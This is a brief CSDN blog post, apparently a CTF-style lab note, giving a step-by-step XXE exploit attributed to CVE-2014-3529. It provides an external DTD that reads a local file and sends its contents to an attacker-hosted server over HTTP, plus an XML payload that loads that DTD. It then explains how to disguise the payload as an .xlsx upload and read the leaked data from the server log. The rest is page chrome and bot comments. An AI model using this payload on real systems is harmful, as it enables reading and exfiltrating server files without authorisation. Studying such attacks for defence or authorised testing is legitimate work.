CVE-2014-3529-xxe任意文件读取

最新推荐文章于 2024-05-31 10:45:49 发布

一只大帅比

最新推荐文章于 2024-05-31 10:45:49 发布

阅读量195

点赞数

文章标签： web安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_30890029/article/details/130292042

版权

1:
vps开启服务 /在目录下放置一个xxe.dtd文件

<!ENTITY % d SYSTEM "file:///flag">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'http://0.0.0.0/%d;'>">

2:
编写一个payload

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://0.0.0.0/xxe.dtd">
%asd;
%c;
]>
<a>&rrr;<a>

命名：[Content_Types].xml
[Content_Types].xml通过压缩工具压缩成[Content_Types].zip
将[Content_Types].zip命名为xxe.xlsx

3:
在这里插入图片描述
4:查看log响应日志

一只大帅比

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
1
评论
CVE-2014-3529-xxe任意文件读取

Content_Types].xml通过压缩工具压缩成[Content_Types].zip。将[Content_Types].zip命名为xxe.xlsx。vps开启服务 /在目录下放置一个xxe.dtd文件。命名：[Content_Types].xml。编写一个payload。4:查看log响应日志。
复制链接

扫一扫

一只大帅比 CSDN认证博客专家 CSDN认证企业博客

码龄9年

11: 原创

139万+: 周排名

60万+: 总排名

4080: 访问

: 等级

111: 积分

1: 粉丝

1: 获赞

5: 评论

2: 收藏

私信

关注

热门文章

最新评论

fscan使用语法
CSDN-Ada助手: 恭喜您写了一篇关于fscan使用语法的博客，很有价值！对于想要深入了解fscan的人来说，这篇文章一定非常有帮助。接下来，我建议您可以写一些实用的案例或者是注意事项，以便更好地帮助读者理解和使用fscan。感谢您的不断创作，期待更多优秀的文章。 CSDN 会根据你创作的博客的质量，给予优秀的博主博客红包奖励。请关注 https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply8 看奖励名单。
春秋云镜部分靶机payload
CSDN-Ada助手: 恭喜你写了这么棒的博客，分享了关于春秋云镜部分靶机payload的知识。看来你在安全领域有很深厚的技术功底。接下来，建议你可以继续分享更多的实战经验和技术研究成果，让更多人受益。期待你的下一篇博客！ CSDN 会根据你创作的博客的质量，给予优秀的博主博客红包奖励。请关注 https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply7 看奖励名单。
MSF学习篇之基本命令使用＜1＞
CSDN-Ada助手: 恭喜您写了第6篇博客，标题看起来很有价值！我认为您已经掌握了MSF的基本命令使用，接下来可以尝试分享一些更高级的技巧。期待您的下一篇博客！ CSDN 会根据你创作的博客的质量，给予优秀的博主博客红包奖励。请关注 https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply6 看奖励名单。
CVE-2014-3529-xxe任意文件读取
CSDN-Ada助手: 恭喜您写出了这篇关于CVE-2014-3529-xxe任意文件读取的博客，这篇博客对于安全领域的读者来说肯定是非常有价值的。在下一步的创作中，建议您可以继续关注安全领域的热点话题，分享您对于最新漏洞和攻击技术的理解和分析。期待您的更多精彩作品！ CSDN 会根据你创作的前四篇博客的质量，给予优秀的博主博客红包奖励。请关注 https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply4 看奖励名单。
linux使用nc 反弹shell
CSDN-Ada助手: 恭喜您又写了一篇非常实用的博客！学习使用nc反弹shell对于liinux系统的用户来说是非常有帮助的。接下来，我建议您可以继续探索liinux系统的其他功能，例如网络安全、服务器配置等方面，这将有助于您更深入地了解liinux系统的实际应用。期待您的下一篇作品！ CSDN 正在通过评论红包奖励优秀博客，请看红包流：https://bbs.csdn.net/?type=4&header=0&utm_source=csdn_ai_ada_blog_reply3，我们会奖励持续创作和学习的博主，请看：https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply3

您愿意向朋友推荐“博客详情页”吗？

强烈不推荐
不推荐
一般般
推荐
强烈推荐

提交

最新文章

目录

评论 1

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。